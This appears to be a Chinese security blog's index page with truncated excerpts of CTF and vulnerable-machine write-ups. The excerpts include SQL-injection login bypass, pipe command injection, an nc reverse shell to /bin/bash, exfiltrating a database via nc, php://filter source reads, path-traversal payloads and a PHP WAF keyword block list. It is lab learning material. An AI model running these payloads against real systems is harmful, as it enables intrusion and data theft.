打靶-Easy_cloudantivirus
打靶-easy_cloudantivirus前言靶机难度：简单
靶机ip：192.168.31.52
kali ip：192.168.31.215
渗透记录1arp-scan -l
查看开放端口
1nmap -sV 192.168.31.52 -A
就开放了22 8080
先看看8080
一个输入框
经测试输入”会报错
猜测存在sql注入
尝试万能密码
1"or 1=1--+
登陆成功
进入后，看这样子好像是执行了ls -al
拼接管道符可以执行命令
11|ls
尝试反弹shell，发现可以nc 但是加上-e命令收不到。。。
后面学到了一种新方法
nc两个
1|nc 192.168.31.215 999 |/bin/bash |nc 192.168.31.215 888
发现在999读端口执行命令。888端口有回显
通过查看app.py的内容
通过阅读代码不难发现，其链接了sqllite
读取database.sql文件
在终端在开启一个监听
nc -lvvp 8989 > db.sql
执行
nc 192.168.31.215 <dat ...
SUCTF 2019 Upload Labs 2
[SUCTF 2019]Upload Labs 2解题分析源码我就先不贴了，github上有
index.php会限制上传文件后缀(“gif”, “jpeg”, “jpg”, “png”)，路径做了md5加密
func.php有一些过滤，返回文件的MIME
config.php看英语是xml给disable了，应该是防xss的…
class.php比较重要了，其中finfo_file跟phar反序列化有关
admin.php，讲真的，就看懂了限制127.0.0.1,前面一坨写的啥我也看不懂。。。
先了解一下前置知识
phar反序列化phar文件本质上是一种压缩文件，会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时，会自动反序列化meta-data内的内容。(漏洞利用点)
什么是phar文件
在软件中，PHAR（PHP归档）文件是一种打包格式，通过将许多PHP代码文件和其他资源（例如图像，样式表等）捆绑到一个归档文件中来实现应用程序和库的分发
php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数，如(fop ...
Fastjson全版本检测及利用
前言总结的一些针对FastJson特定版本的Poc利用，所有Poc都已测试全部通过。主要针对FastJson的几大里程碑版本，1.2.47、1.2.68、1.2.80，可能会存在些许偏差，因为同样需考虑到FastJson版本、JDK版本、引入的其他依赖版本、机器是否出网等信息，请根据实际情况做进一步测试和利用。本篇文章只是复现和罗列了一些能收集到的可利用的链子，后面会深入代码层面分析各个大版本绕过和利用思路(真的太多了)，每一次看都会有很深的感悟。FastJson很深，也很适合Java研究。下次在遇到JSON格式且确定是FastJson框架时千万别一眼略过，或许会有想不到的惊喜！
鉴别FastJson利用报错参考：https://blog.csdn.net/m0_71692682/article/details/125814861不闭合JSON的花括号或者双引号,通过报错可能会将Fastjson爆出来
12{"name":"hello", "age":2{"name& ...
CTF--Proc目录的应用
[CTF]proc目录的应用proc目录的运用/proc目录Linux系统上的/proc目录是一种文件系统，即proc文件系统。与其它常见的文件系统不同的是，/proc 是一种伪文件系统（也即虚拟文件系统），存储的是当前内核运行状态的一系列特殊文件，用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息，甚至可以通过更改其中某些文件来改变内核的运行状态。
简单来讲，/proc 目录即保存在系统内存中的信息，大多数虚拟文件可以使用文件查看命令如cat、more或者less进行查看，有些文件信息表述的内容可以一目了然，但也有文件的信息却不怎么具有可读性。
/proc 目录中包含许多以数字命名的子目录，这些数字表示系统当前正在运行进程的进程号(PID)，里面包含对应进程相关的多个信息文件：
1ls -al /proc
每一个进程对应许多相关文件
1ls -al /proc/1289
一些常见的进程文件：
cmdlinecmdline 文件存储着启动当前进程的完整命令，但僵尸进程目录中的此文件不包含任何信息。可以通过查看cmdli ...
最近的一些小自述吧
83433ea486119d7dc207c4e82ca6353e1b74aacdae3cff7174398ea6d1f64e1ca9d4d0f543b493cfe5e6c0966ae8a1e5138b0119aac6bae350b8c84b943c19aafdc48b41bb9caca2060e4817cd4d6e77746b3cf72d84e021319b875eb7b55db4bd8895e835eb3f9a7c9a527409264efa1f3b3a75be3e5cc71ef058c771f722e2fc1ea3150cf15b42bfda5c0b7ef5701ac08e6445b965309ccdcdc2088025e66257eed105967ddb25f35dfe4ed5e353a41c63312c928d86503748f2aa93563771be7760549f35332d3ca33762b6c449033e5ad6b24e6794249a1419aa6c6a0e135fb067b689bcab515500b3a32e91b9367266b6fdb572ba7e2 ...
2024WKCTF Wp
2024WKCTF wpWebqiandao页面源码提示？file+flag在根目录下
直接读flag
ez_tp
蚁剑连上
ez_phphint.php
发现Can you find index.php ?source_code
猜测可以读源码
想读index.php,发现直接卡死，那应该是文件包含了
配合伪协议读取源码
1http://110.40.35.73:15558/index.php?source_code=php://filter/convert.base64-encode/resource=index.php
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647<html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>Uplo ...
打靶-Lazysyadmin
打靶-Lazysyadmin前言Lazysysadmin靶场下载：
https://download.vulnhub.com/lazysysadmin/Lazysysadmin.zip
渗透过程1arp-scan -l
nmap -sV 192.168.31.224 -A
22：可能存在ssh服务；
80：http服务；
139：NetBIOS/SMB服务，可能存在共享文件；
3306 mysql
先扫扫目录
发现用户名可能有用吧
看到6667端口有irc
什么是IRC
IRC（Internet Relay Chat的缩写，“因特网中继聊天”）是一种透过网络的即时聊天方式。其主要用于群体聊天，但同样也可以用于个人对个人的聊天。IRC使用的服务器端口有6667（明文传输，如irc://irc.freenode.net）、6697（SSL加密传输，如ircs://irc.freenode.net:6697）等。
芬兰人雅尔可·欧伊卡利宁（Jarkko Oikarinen）于1988年8月创造了IRC来取代一个叫做MUT的程序。
简单说明
不需要注册，但要在连接前设 ...
AWDP
AWDP国赛加油啊！！
全全的waf喂满我
12345678910111213141516171819202122# RCEfunction wafrce($str){ return !preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $str);}# SQLfunction wafsqli($str){ return !preg_match("/select|and|\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where ...
打靶-Hacksudo-Thor
打靶-hacksudo-Thor前言靶机下载地址：https://download.vulnhub.com/hacksudo/hackdudo2.rar
靶机ip:192.168.31.210
kali ip：192.168.31.215
靶机难度：中等
目标：取得root权限
渗透过程开局依旧给ip
直接扫
1nmap -sV 192.168.31.210 -A
开放饿了21 22 80端口
扫目录吧
好多页面都需要登录，找找密码吧
/README.md存在信息泄露，发现项目地址
zakee94
发现账号密码admin/password123
尝试登录
最后在这个页面登录成功
里面可以看到其他用户的信息，包括账号密码
额，暂时没发现有啥用
继续看其他目录
news.php发现!– cgi-bin —!>
有问题，破壳漏洞，之前在Ctfshow大赛原题做过
使用dirsearch对/cgi-bin这个目录进行爬取，找cgi和sh结尾的目录，在这里我们找到了两个目录/cgi-bin/backup.cgi和&# ...
网鼎杯 2020 青龙组-Filejava
[网鼎杯 2020 青龙组]filejava上传文件过后对下载文件进行抓包发现存在任意文件读取
尝试读取flag发现禁止读取
将web.xml下的类都读取一遍看看
123456DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
发现 ...
